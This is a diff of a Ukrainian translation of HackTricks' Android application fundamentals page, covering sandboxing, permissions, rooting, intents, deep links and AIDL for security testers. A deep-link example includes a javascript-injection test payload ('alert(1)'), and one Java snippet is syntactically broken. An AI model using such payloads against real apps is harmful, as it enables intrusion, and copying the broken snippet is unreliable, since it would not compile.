* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Спробуйте Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -27,134 +28,135 @@
|
|||
**Є два рівні:**
|
||||
|
||||
* **ОС**, яка ізолює встановлені додатки один від одного.
|
||||
* **Сам додаток**, який дозволяє розробникам **викрити певні функціональності** та налаштувати можливості додатка.
|
||||
* **сам додаток**, який дозволяє розробникам **викривати певні функціональності** та налаштовувати можливості додатка.
|
||||
|
||||
### Розділення UID
|
||||
|
||||
**Кожному додатку призначається певний ідентифікатор користувача (UID)**. Це робиться під час встановлення додатка, щоб **додаток міг взаємодіяти лише з файлами, які належать його UID або спільними** файлами. Тому лише сам додаток, певні компоненти ОС та користувач з правами root можуть отримати доступ до даних додатків.
|
||||
**Кожному додатку призначається конкретний ідентифікатор користувача (User ID)**. Це відбувається під час встановлення додатка, щоб **додаток міг взаємодіяти лише з файлами, що належать його ідентифікатору користувача, або спільними** файлами. Тому лише сам додаток, певні компоненти ОС та користувач root можуть отримати доступ до даних додатка.
|
||||
|
||||
### Спільний UID
|
||||
|
||||
**Два додатки можуть бути налаштовані на використання одного Ідентифікатора користувача (UID)**. Це може бути корисно для обміну інформацією, але якщо один з них скомпрометований, дані обох додатків будуть скомпрометовані. Тому цю поведінку **не рекомендується**.\
|
||||
**Для спільного використання одного UID додатки повинні визначити одне й те ж значення `android:sharedUserId` у своїх маніфестах.**
|
||||
**Два додатки можуть бути налаштовані на використання одного й того ж UID**. Це може бути корисно для обміну інформацією, але якщо один з них буде скомпрометований, дані обох додатків будуть скомпрометовані. Ось чому така поведінка **не рекомендується**.\
|
||||
**Щоб поділитися одним UID, додатки повинні визначити однакове значення `android:sharedUserId` у своїх маніфестах.**
|
||||
|
||||
### Пісочниця
|
||||
|
||||
**Пісочниця додатків Android** дозволяє запускати **кожен додаток** як **окремий процес під окремим ідентифікатором користувача**. Кожен процес має свою власну віртуальну машину, тому код додатка виконується в ізоляції від інших додатків.\
|
||||
Починаючи з Android 5.0(L), **SELinux** застосовується. Фактично, SELinux відхиляє всі взаємодії процесів, а потім створює політики, щоб **дозволити лише очікувані взаємодії між ними**.
|
||||
**Пісочниця Android-додатків** дозволяє запускати **кожен додаток** як **окремий процес під окремим ідентифікатором користувача**. Кожен процес має свою віртуальну машину, тому код додатка виконується в ізоляції від інших додатків.\
|
||||
З Android 5.0(L) **впроваджено SELinux**. В основному, SELinux забороняє всі взаємодії процесів, а потім створює політики, щоб **дозволити лише очікувані взаємодії між ними**.
|
||||
|
||||
### Дозволи
|
||||
|
||||
Коли ви встановлюєте **додаток і він запитує дозволи**, додаток запитує дозволи, налаштовані в елементах **`uses-permission`** у файлі **AndroidManifest.xml**. Елемент **uses-permission** вказує назву запитаного дозволу в атрибуті **name**. Він також має атрибут **maxSdkVersion**, який припиняє запит дозволів на версіях вище вказаної.\
|
||||
Зверніть увагу, що додатки для Android не потрібно запитувати всі дозволи відразу, вони також можуть **запитувати дозволи динамічно**, але всі дозволи повинні бути **оголошені** в **маніфесті**.
|
||||
Коли ви встановлюєте **додаток і він запитує дозволи**, додаток запитує дозволи, налаштовані в елементах **`uses-permission`** у файлі **AndroidManifest.xml**. Елемент **uses-permission** вказує назву запитуваного дозволу в **атрибуті name**. Він також має атрибут **maxSdkVersion**, який зупиняє запит на дозволи на версіях, вищих за вказану.\
|
||||
Зверніть увагу, що Android-додатки не повинні запитувати всі дозволи на початку, вони також можуть **запитувати дозволи динамічно**, але всі дозволи повинні бути **оголошені** в **маніфесті**.
|
||||
|
||||
Коли додаток викриває функціональність, він може обмежити **доступ лише для додатків, які мають вказаний дозвіл**.\
|
||||
Коли додаток викриває функціональність, він може обмежити **доступ лише до додатків, які мають вказаний дозвіл**.\
|
||||
Елемент дозволу має три атрибути:
|
||||
|
||||
* Назва дозволу
|
||||
* Атрибут **permission-group**, який дозволяє групувати пов'язані дозволи.
|
||||
* Рівень захисту, який вказує, як дозволи надаються. Є чотири типи:
|
||||
* **Normal**: Використовується, коли **немає відомих загроз** для додатка. Користувачу **не потрібно затверджувати його**.
|
||||
* **Dangerous**: Вказує, що дозвіл надає запитуючому додатку певний **підвищений доступ**. **Користувачі повинні затвердити їх**.
|
||||
* **Signature**: Тільки **додатки, підписані тим самим сертифікатом, що і той**, який експортує компонент, можуть отримати дозвіл. Це найсильніший тип захисту.
|
||||
* **SignatureOrSystem**: Тільки **додатки, підписані тим самим сертифікатом, що і той**, який експортує компонент, або **додатки, які працюють з рівнем доступу системи**, можуть отримати дозволи
|
||||
* **назва** дозволу
|
||||
* атрибут **permission-group**, який дозволяє групувати пов'язані дозволи.
|
||||
* **рівень захисту**, який вказує, як надаються дозволи. Є чотири типи:
|
||||
* **Нормальний**: Використовується, коли **немає відомих загроз** для додатка. Користувач **не зобов'язаний його затверджувати**.
|
||||
* **Небезпечний**: Вказує, що дозвіл надає запитуючому додатку певний **підвищений доступ**. **Користувачі повинні їх затвердити**.
|
||||
* **Підпис**: Тільки **додатки, підписані тим же сертифікатом, що й той**, що експортує компонент, можуть отримати дозвіл. Це найсильніший тип захисту.
|
||||
* **SignatureOrSystem**: Тільки **додатки, підписані тим же сертифікатом, що й той**, що експортує компонент, або **додатки, що працюють з доступом на рівні системи**, можуть отримати дозволи.
|
||||
|
||||
## Передвстановлені додатки
|
||||
## Попередньо встановлені додатки
|
||||
|
||||
Ці додатки зазвичай знаходяться в каталогах **`/system/app`** або **`/system/priv-app`**, і деякі з них **оптимізовані** (ви навіть не знайдете файл `classes.dex`). Ці додатки варто перевірити, оскільки іноді вони **працюють з надто багатьма дозволами** (як root).
|
||||
Ці додатки зазвичай знаходяться в каталогах **`/system/app`** або **`/system/priv-app`**, і деякі з них **оптимізовані** (ви навіть можете не знайти файл `classes.dex`). Ці додатки варто перевірити, оскільки іноді вони **працюють з надто багатьма дозволами** (як root).
|
||||
|
||||
* Ті, що поставляються з **AOSP** (Android OpenSource Project) **ROM**
|
||||
* Ті, що постачаються з **AOSP** (Android OpenSource Project) **ROM**
|
||||
* Додані виробником **пристрою**
|
||||
* Додані постачальником **мобільного телефону** (якщо придбано в них)
|
||||
* Додані постачальником **мобільного телефону** (якщо куплені у них)
|
||||
|
||||
## Рутування
|
||||
|
||||
Для отримання прав root на фізичний пристрій Android зазвичай потрібно **експлуатувати** 1 або 2 **вразливості**, які зазвичай є **специфічними** для **пристрою** та **версії**.\
|
||||
Після успішного використання експлойту зазвичай бінарний файл Linux `su` копіюється в розташування, вказане в змінній середовища PATH користувача, наприклад `/system/xbin`.
|
||||
Щоб отримати доступ до root на фізичному пристрої Android, вам зазвичай потрібно **експлуатувати** 1 або 2 **вразливості**, які зазвичай є **специфічними** для **пристрою** та **версії**.\
|
||||
Після того, як експлуатація спрацювала, зазвичай бінарний файл Linux `su` копіюється в місце, вказане в змінній середовища PATH користувача, наприклад, `/system/xbin`.
|
||||
|
||||
Після налаштування бінарного файлу su, іншим додатком Android використовується для взаємодії з бінарним файлом `su` та **обробки запитів на отримання прав root доступу**, наприклад **Superuser** та **SuperSU** (доступні в магазині Google Play).
|
||||
Після налаштування бінарного файлу su використовується інший Android-додаток для взаємодії з бінарним файлом `su` та **обробки запитів на доступ до root**, таких як **Superuser** та **SuperSU** (доступні в Google Play Store).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що процес рутування дуже небезпечний і може серйозно пошкодити пристрій
|
||||
Зверніть увагу, що процес рутування є дуже небезпечним і може серйозно пошкодити пристрій.
|
||||
{% endhint %}
|
||||
|
||||
### ROM
|
||||
|
||||
Можливо **замінити ОС, встановивши власну прошивку**. Роблячи це, можна розширити корисність старого пристрою, обійти обмеження програмного забезпечення або отримати доступ до останнього коду Android.\
|
||||
**OmniROM** та **LineageOS** - дві з найпопулярніших прошивок для використання.
|
||||
Можливо **замінити ОС, встановивши власне програмне забезпечення**. Це дозволяє розширити корисність старого пристрою, обійти програмні обмеження або отримати доступ до останнього коду Android.\
|
||||
**OmniROM** та **LineageOS** є двома з найпопулярніших прошивок для використання.
|
||||
|
||||
Зверніть увагу, що **не завжди потрібно рутувати пристрій**, щоб встановити власну прошивку. **Деякі виробники дозволяють** розблокування їх завантажувачів у документований та безпечний спосіб.
|
||||
Зверніть увагу, що **не завжди необхідно рутувати пристрій**, щоб встановити власне програмне забезпечення. **Деякі виробники дозволяють** розблокування своїх завантажувачів у добре задокументований і безпечний спосіб.
|
||||
|
||||
### Наслідки
|
||||
|
||||
Після рутування пристрою будь-який додаток може запитувати доступ як root. Якщо зловмисний додаток отримає його, він матиме доступ практично до всього і зможе пошкодити телефон.
|
||||
Після рутування пристрою будь-який додаток може запитати доступ як root. Якщо зловмисний додаток отримає його, він матиме доступ до майже всього і зможе пошкодити телефон.
|
||||
|
||||
## Основи додатків для Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Основи Android-додатків <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Формат додатків для Android відомий як _формат файлу APK_. Це, по суті, **ZIP-файл** (перейменувавши розширення файлу на .zip, можна розпакувати та переглянути вміст).
|
||||
- Формат Android-додатків називається _APK file format_. Це, по суті, **ZIP файл** (перейменувавши розширення файлу на .zip, вміст можна витягти та переглянути).
|
||||
- Вміст APK (не вичерпний)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: містить попередньо скомпільовані ресурси, такі як бінарний XML.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Ось де знаходиться сертифікат!
|
||||
- Тут знаходиться сертифікат!
|
||||
- **classes.dex**
|
||||
- Містить байткод Dalvik, що представляє скомпільований код Java (або Kotlin), який виконується додатком за замовчуванням.
|
||||
- Містить байт-код Dalvik, що представляє скомпільований Java (або Kotlin) код, який додаток виконує за замовчуванням.
|
||||
- lib/
|
||||
- Містить власні бібліотеки, розділені за архітектурою ЦП в підкаталогах.
|
||||
- `armeabi`: код для процесорів на основі ARM
|
||||
- `armeabi-v7a`: код для процесорів на основі ARMv7 та вище
|
||||
- Містить рідні бібліотеки, розділені за архітектурою ЦП в підкаталогах.
|
||||
- `armeabi`: код для процесорів на базі ARM
|
||||
- `armeabi-v7a`: код для процесорів ARMv7 та вище
|
||||
- `x86`: код для процесорів X86
|
||||
- `mips`: код лише для процесорів MIPS
|
||||
- assets/
|
||||
- Зберігає різноманітні файли, необхідні для додатка, можливо включаючи додаткові власні бібліотеки або файли DEX, іноді використовувані авторами шкідливих програм для приховування додаткового коду.
|
||||
- Зберігає різні файли, необхідні додатку, потенційно включаючи додаткові рідні бібліотеки або DEX файли, іноді використовувані авторами шкідливих програм для приховування додаткового коду.
|
||||
- res/
|
||||
- Містить ресурси, які не компілюються в resources.arsc
|
||||
- Містить ресурси, які не скомпільовані в resources.arsc
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
У розробці Android використовується **Java або Kotlin** для створення додатків. Замість використання JVM, як у десктопних додатках, Android компілює цей код у **Dalvik Executable (DEX) bytecode**. Раніше цей bytecode обробляв віртуальна машина Dalvik, але зараз у новіших версіях Android цю роль виконує Android Runtime (ART).
|
||||
У розробці Android використовується **Java або Kotlin** для створення додатків. Замість використання JVM, як у настільних додатках, Android компілює цей код у **Dalvik Executable (DEX) байт-код**. Раніше цим байт-кодом займалася віртуальна машина Dalvik, але тепер Android Runtime (ART) бере на себе цю функцію в новіших версіях Android.
|
||||
|
||||
Для зворотного проектування **Smali** стає важливим. Це людино-читабельна версія DEX bytecode, що діє як мова асемблера, перетворюючи вихідний код в інструкції bytecode. Smali та baksmali вказують на засоби зборки та розборки в цьому контексті.
|
||||
Для реверс-інжинірингу **Smali** стає критично важливим. Це читабельна людиною версія DEX байт-коду, яка діє як асемблерна мова, перетворюючи вихідний код на інструкції байт-коду. Smali та baksmali відносяться до інструментів асемблювання та розбирання в цьому контексті.
|
||||
|
||||
## Intents
|
||||
## Інтенти
|
||||
|
||||
Intents є основним засобом, за допомогою якого Android додатки взаємодіють між своїми компонентами або з іншими додатками. Ці об'єкти повідомлень також можуть передавати дані між додатками або компонентами, схоже на те, як використовуються запити GET/POST у HTTP-зв'язках.
|
||||
Інтенти є основним засобом, за допомогою якого Android-додатки спілкуються між своїми компонентами або з іншими додатками. Ці об'єкти повідомлень також можуть переносити дані між додатками або компонентами, подібно до того, як використовуються запити GET/POST у HTTP-комунікаціях.
|
||||
|
||||
Таким чином, Intent - це **повідомлення, яке передається між компонентами**. Intents **можуть бути спрямовані** на конкретні компоненти або додатки, **або можуть бути відправлені без конкретного отримувача**.\
|
||||
Щоб було простіше, Intent може бути використаний:
|
||||
Отже, Інтент - це, по суті, **повідомлення, яке передається між компонентами**. Інтенти **можуть бути спрямовані** на конкретні компоненти або додатки, **або можуть бути надіслані без конкретного отримувача**.\
|
||||
Простими словами, Інтент можна використовувати:
|
||||
|
||||
* Для запуску Activity, зазвичай відкриття інтерфейсу користувача для додатка
|
||||
* Як трансляції для повідомлення системі та додаткам про зміни
|
||||
* Для запуску Activity, зазвичай відкриваючи інтерфейс користувача для додатку
|
||||
* Як трансляції, щоб повідомити систему та додатки про зміни
|
||||
* Для запуску, зупинки та взаємодії з фоновим сервісом
|
||||
* Для доступу до даних через ContentProviders
|
||||
* Як зворотні виклики для обробки подій
|
||||
|
||||
Якщо вразливий, **Intents можуть бути використані для виконання різноманітних атак**.
|
||||
Якщо вразливі, **інтенти можуть бути використані для виконання різноманітних атак**.
|
||||
|
||||
### Intent-Filter
|
||||
### Фільтр Інтентів
|
||||
|
||||
**Intent Filters** визначають **як активність, сервіс або Broadcast Receiver можуть взаємодіяти з різними типами Intents**. Вони суттєво описують можливості цих компонентів, такі як дії, які вони можуть виконувати або типи трансляцій, які вони можуть обробляти. Основне місце для оголошення цих фільтрів - це файл **AndroidManifest.xml**, хоча для Broadcast Receivers також є можливість кодування їх.
|
||||
**Фільтри Інтентів** визначають **як активність, сервіс або приймач трансляцій можуть взаємодіяти з різними типами Інтентів**. По суті, вони описують можливості цих компонентів, такі як дії, які вони можуть виконувати, або типи трансляцій, які вони можуть обробляти. Основне місце для оголошення цих фільтрів - це **файл AndroidManifest.xml**, хоча для приймачів трансляцій також є можливість їх кодування.
|
||||
|
||||
Intent Filters складаються з категорій, дій та фільтрів даних, з можливістю включення додаткових метаданих. Ця настройка дозволяє компонентам обробляти конкретні Intents, які відповідають оголошеним критеріям.
|
||||
Фільтри Інтентів складаються з категорій, дій та фільтрів даних, з можливістю включення додаткових метаданих. Ця настройка дозволяє компонентам обробляти конкретні Інтенти, які відповідають оголошеним критеріям.
|
||||
|
||||
Критичним аспектом компонентів Android (активності/сервіси/постачальники контенту/Broadcast Receiver) є їх видимість або **публічний статус**. Компонент вважається публічним і може взаємодіяти з іншими додатками, якщо він **`експортується`** зі значенням **`true`** або якщо для нього оголошено Intent Filter у маніфесті. Однак розробники можуть явно зробити ці компоненти приватними, забезпечуючи, що вони не взаємодіють з іншими додатками ненавмисно. Це досягається шляхом встановлення атрибута **`експортувати`** на значення **`false`** у їх визначеннях маніфесту.
|
||||
Критичним аспектом Android-компонентів (активності/сервіси/постачальники контенту/приймачі трансляцій) є їх видимість або **публічний статус**. Компонент вважається публічним і може взаємодіяти з іншими додатками, якщо він **`експортується`** зі значенням **`true`** або якщо для нього в маніфесті оголошено фільтр Інтентів. Однак є спосіб для розробників явно зберегти ці компоненти приватними, забезпечуючи їх ненавмисну взаємодію з іншими додатками. Це досягається шляхом встановлення атрибута **`exported`** на **`false`** у їхніх визначеннях маніфесту.
|
||||
|
||||
Більше того, розробники мають можливість додатково захистити доступ до цих компонентів, вимагаючи певних дозволів. Атрибут **`дозвіл`** може бути встановлений для забезпечення того, що доступ до компонента можуть мати лише додатки з призначеним дозволом, додаючи додатковий рівень безпеки та контролю над тим, хто може взаємодіяти з ним.
|
||||
Крім того, розробники мають можливість додатково захистити доступ до цих компонентів, вимагаючи специфічних дозволів. Атрибут **`permission`** може бути встановлений, щоб забезпечити доступ лише для додатків з призначеним дозволом, додаючи додатковий рівень безпеки та контролю над тим, хто може з ним взаємодіяти.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
### Неявні наміри
|
||||
### Імпліцитні наміри
|
||||
|
||||
Наміри створюються програмно за допомогою конструктора Intent:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Дія** раніше оголошеного наміру - **ACTION\_SEND**, а **Додаткова** інформація - це поштова адреса **Uri** (додаткова інформація, яку очікує намір).
|
||||
Дія **Action** раніше оголошеного наміру є **ACTION\_SEND**, а **Extra** - це mailto **Uri** (Extra - це додаткова інформація, яку очікує намір).
|
||||
|
||||
Цей намір повинен бути оголошений у файлі маніфесту, як у наступному прикладі:
|
||||
Цей намір слід оголосити в маніфесті, як у наступному прикладі:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -163,50 +165,50 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Intent-filter повинен відповідати **дії**, **даним** та **категорії**, щоб отримати повідомлення.
|
||||
Фільтр намірів повинен відповідати **дії**, **даним** та **категорії**, щоб отримати повідомлення.
|
||||
|
||||
Процес "вирішення наміру" визначає, яка програма повинна отримати кожне повідомлення. Цей процес враховує атрибут **пріоритету**, який може бути встановлений у **оголошенні intent-filter**, і **вибирається той, у якого вищий пріоритет**. Цей пріоритет може бути встановлений від -1000 до 1000, і програми можуть використовувати значення `SYSTEM_HIGH_PRIORITY`. Якщо виникає **конфлікт**, з'являється вікно "вибору", щоб **користувач міг вирішити**.
|
||||
Процес "розв'язання намірів" визначає, яка програма повинна отримати кожне повідомлення. Цей процес враховує **атрибут пріоритету**, який можна встановити в **оголошенні фільтра намірів**, і **той, що має вищий пріоритет, буде обраний**. Цей пріоритет може бути встановлений в межах від -1000 до 1000, і програми можуть використовувати значення `SYSTEM_HIGH_PRIORITY`. Якщо виникає **конфлікт**, з'являється вікно "вибору", щоб **користувач міг вирішити**.
|
||||
|
||||
### Явні наміри
|
||||
|
||||
Явний намір вказує ім'я класу, на який він спрямований:
|
||||
Явний намір вказує на ім'я класу, на який він націлений:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
У інших додатках для доступу до раніше визначеного наміру можна використовувати:
|
||||
В інших додатках, щоб отримати доступ до раніше оголошеного наміру, ви можете використовувати:
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Відкладені наміри
|
||||
### Pending Intents
|
||||
|
||||
Це дозволяє іншим додаткам **виконувати дії від імені вашого додатку**, використовуючи ідентифікацію та дозволи вашого додатку. При побудові відкладеного наміру **необхідно вказати намір та дію для виконання**. Якщо **заявлений намір не є явним** (не вказує, який намір може його викликати), **зловмисний додаток може виконати заявлену дію** від імені додатку жертви. Більше того, **якщо дія не вказана**, зловмисний додаток зможе виконати **будь-яку дію від імені жертви**.
|
||||
Ці дозволяють іншим додаткам **виконувати дії від імені вашого додатку**, використовуючи ідентичність та дозволи вашого додатку. Конструюючи Pending Intent, потрібно **вказати намір і дію, яку потрібно виконати**. Якщо **оголошений намір не є явним** (не вказує, який намір може його викликати), **зловмисний додаток може виконати оголошену дію** від імені жертви. Більше того, **якщо дія не вказана**, зловмисний додаток зможе виконати **будь-яку дію від імені жертви**.
|
||||
|
||||
### Наміри трансляції
|
||||
### Broadcast Intents
|
||||
|
||||
На відміну від попередніх намірів, які отримує лише один додаток, наміри трансляції **можуть бути отримані кількома додатками**. Однак починаючи з версії API 14, **можливо вказати додаток, який повинен отримати** повідомлення, використовуючи Intent.set Package.
|
||||
На відміну від попередніх намірів, які отримує лише один додаток, широкомовні наміри **можуть бути отримані кількома додатками**. Однак, починаючи з версії API 14, **можливо вказати додаток, який повинен отримати** повідомлення, використовуючи Intent.setPackage.
|
||||
|
||||
Також можна **вказати дозвіл при відправці трансляції**. Додатку-одержувачу буде потрібно мати цей дозвіл.
|
||||
Альтернативно, також можливо **вказати дозвіл при відправці широкомовлення**. Додаток-отримувач повинен мати цей дозвіл.
|
||||
|
||||
Існують **два типи** трансляцій: **звичайні** (асинхронні) та **впорядковані** (синхронні). **Порядок** базується на **налаштованому пріоритеті в елементі-одержувачі**. **Кожен додаток може обробляти, передавати або відкидати трансляцію**.
|
||||
Існує **два типи** широкомовлень: **Звичайні** (асинхронні) та **Упорядковані** (синхронні). **Порядок** базується на **налаштованому пріоритеті в елементі отримувача**. **Кожен додаток може обробляти, передавати або відхиляти широкомовлення.**
|
||||
|
||||
Можливо **відправити** трансляцію, використовуючи функцію `sendBroadcast(intent, receiverPermission)` з класу `Context`.\
|
||||
Також можна використовувати функцію **`sendBroadcast`** з **`LocalBroadCastManager`**, що забезпечує, що **повідомлення ніколи не залишить додаток**. Використовуючи це, навіть не потрібно експортувати компонент-одержувач.
|
||||
Можливо **відправити** **широкомовлення** за допомогою функції `sendBroadcast(intent, receiverPermission)` з класу `Context`.\
|
||||
Ви також можете використовувати функцію **`sendBroadcast`** з **`LocalBroadCastManager`**, яка забезпечує, що **повідомлення ніколи не покидає додаток**. Використовуючи це, вам навіть не потрібно експортувати компонент отримувача.
|
||||
|
||||
### Липкі трансляції
|
||||
### Sticky Broadcasts
|
||||
|
||||
Цей тип трансляцій **можна отримати довго після їх відправлення**.\
|
||||
Вони були застарілими на рівні API 21, і **рекомендується не використовувати їх**.\
|
||||
**Вони дозволяють будь-якому додатку перехоплювати дані, а також змінювати їх**.
|
||||
Цей вид широкомовлень **може бути доступний довго після їх відправлення**.\
|
||||
Вони були застарілі на рівні API 21, і рекомендується **не використовувати їх**.\
|
||||
**Вони дозволяють будь-якому додатку підслуховувати дані, але також їх модифікувати.**
|
||||
|
||||
Якщо ви знаходите функції, що містять слово "липкі", наприклад **`sendStickyBroadcast`** або **`sendStickyBroadcastAsUser`**, **перевірте вплив і спробуйте їх видалити**.
|
||||
Якщо ви знайдете функції, що містять слово "sticky", такі як **`sendStickyBroadcast`** або **`sendStickyBroadcastAsUser`**, **перевірте вплив і спробуйте їх видалити**.
|
||||
|
||||
## Глибокі посилання / URL-схеми
|
||||
## Deep links / URL schemes
|
||||
|
||||
У додатках для Android **глибокі посилання** використовуються для ініціювання дії (наміру) безпосередньо через URL. Це робиться шляхом вказання конкретної **URL-схеми** в межах активності. Коли пристрій Android намагається **отримати доступ до URL з цією схемою**, запускається вказана активність у додатку.
|
||||
У додатках Android **глибокі посилання** використовуються для ініціювання дії (Intent) безпосередньо через URL. Це робиться шляхом оголошення конкретної **схеми URL** в межах активності. Коли пристрій Android намагається **доступитися до URL з цією схемою**, вказана активність в додатку запускається.
|
||||
|
||||
Схему необхідно вказати в файлі **`AndroidManifest.xml`**:
|
||||
Схема повинна бути оголошена в файлі **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -218,44 +220,44 @@ context.startService(intent);
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
Схема з попереднього прикладу - `exampleapp://` (зверніть увагу також на **`категорію BROWSABLE`**)
|
||||
Схема з попереднього прикладу - `exampleapp://` (також зверніть увагу на **`category BROWSABLE`**)
|
||||
|
||||
Потім у полі даних можна вказати **хост** та **шлях**:
|
||||
Тоді в полі даних ви можете вказати **host** та **path**:
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Для доступу до нього з веб-сайту можна встановити посилання такого виду:
|
||||
Щоб отримати доступ до нього з вебу, можна встановити посилання, як:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
Для того щоб знайти **код, який буде виконуватися в додатку**, перейдіть до активності, викликаної за допомогою глибинного посилання, та знайдіть функцію **`onNewIntent`**.
|
||||
Щоб знайти **код, який буде виконано в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
|
||||
Дізнайтеся, як [викликати глибинні посилання без використання HTML-сторінок](./#exploiting-schemes-deep-links).
|
||||
Дізнайтеся, як [викликати глибокі посилання без використання HTML-сторінок](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Мова опису інтерфейсу Android
|
||||
## AIDL - Мова визначення інтерфейсу Android
|
||||
|
||||
Мова опису інтерфейсу Android (AIDL) призначена для спрощення комунікації між клієнтом та службою в додатках Android через **міжпроцесову комунікацію** (IPC). Оскільки безпосередній доступ до пам'яті іншого процесу не дозволяється в Android, AIDL спрощує процес, маршалюючи об'єкти в формат, зрозумілий операційною системою, тим самим полегшуючи комунікацію між різними процесами.
|
||||
**Мова визначення інтерфейсу Android (AIDL)** призначена для полегшення зв'язку між клієнтом і сервісом в Android-додатках через **міжпроцесорну комунікацію** (IPC). Оскільки безпосередній доступ до пам'яті іншого процесу не дозволений в Android, AIDL спрощує процес, перетворюючи об'єкти в формат, зрозумілий операційній системі, що полегшує комунікацію між різними процесами.
|
||||
|
||||
### Ключові концепції
|
||||
|
||||
- **Пов'язані служби**: Ці служби використовують AIDL для IPC, дозволяючи активностям або компонентам прив'язуватися до служби, надсилати запити та отримувати відповіді. Метод `onBind` в класі служби є критичним для ініціювання взаємодії, що робить його важливою областю для перевірки безпеки у пошуку вразливостей.
|
||||
- **Прив'язані сервіси**: Ці сервіси використовують AIDL для IPC, що дозволяє активностям або компонентам підключатися до сервісу, робити запити та отримувати відповіді. Метод `onBind` у класі сервісу є критично важливим для ініціювання взаємодії, що робить його важливою областю для перевірки безпеки в пошуках вразливостей.
|
||||
|
||||
- **Повідомлення**: Діючи як пов'язана служба, Messenger сприяє IPC з фокусом на обробці даних через метод `onBind`. Важливо докладно перевірити цей метод на наявність небезпечної обробки даних або виконання чутливих функцій.
|
||||
- **Messenger**: Працюючи як прив'язаний сервіс, Messenger полегшує IPC з акцентом на обробку даних через метод `onBind`. Важливо уважно перевірити цей метод на предмет небезпечного оброблення даних або виконання чутливих функцій.
|
||||
|
||||
- **Binder**: Хоча пряме використання класу Binder менш поширене через абстракцію AIDL, корисно розуміти, що Binder діє як драйвер рівня ядра, що сприяє передачі даних між пам'ятними просторами різних процесів. Для додаткового розуміння доступний ресурс за посиланням [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
- **Binder**: Хоча безпосереднє використання класу Binder є менш поширеним через абстракцію AIDL, корисно розуміти, що Binder діє як драйвер на рівні ядра, що полегшує передачу даних між пам'яттю різних процесів. Для подальшого розуміння доступний ресурс за адресою [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
|
||||
|
||||
## Компоненти
|
||||
|
||||
До них входять: **Активності, Служби, Приймачі трансляцій та Постачальники.**
|
||||
Це включає: **Активності, Сервіси, Отримувачі трансляцій та Провайдери.**
|
||||
|
||||
### Пускова активність та інші активності
|
||||
### Активність запуску та інші активності
|
||||
|
||||
У додатках Android **активності** схожі на екрани, що показують різні частини користувацького інтерфейсу додатка. Додаток може мати багато активностей, кожна з яких представляє унікальний екран користувачеві.
|
||||
У Android-додатках **активності** подібні до екранів, що показують різні частини інтерфейсу користувача додатку. Додаток може мати багато активностей, кожна з яких представляє унікальний екран для користувача.
|
||||
|
||||
**Пускова активність** є головним шлюзом до додатка, який запускається при натисканні на піктограму додатка. Вона визначена в файлі маніфесту додатка з конкретними намірами MAIN та LAUNCHER:
|
||||
**Активність запуску** є основним шлюзом до додатку, запускається, коли ви натискаєте на іконку додатку. Вона визначена у файлі маніфесту додатку з конкретними MAIN та LAUNCHER намірами:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -264,19 +266,19 @@ android:host="example"
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Не всі додатки потребують активності запуску, особливо ті, що не мають інтерфейсу користувача, наприклад, фонові служби.
|
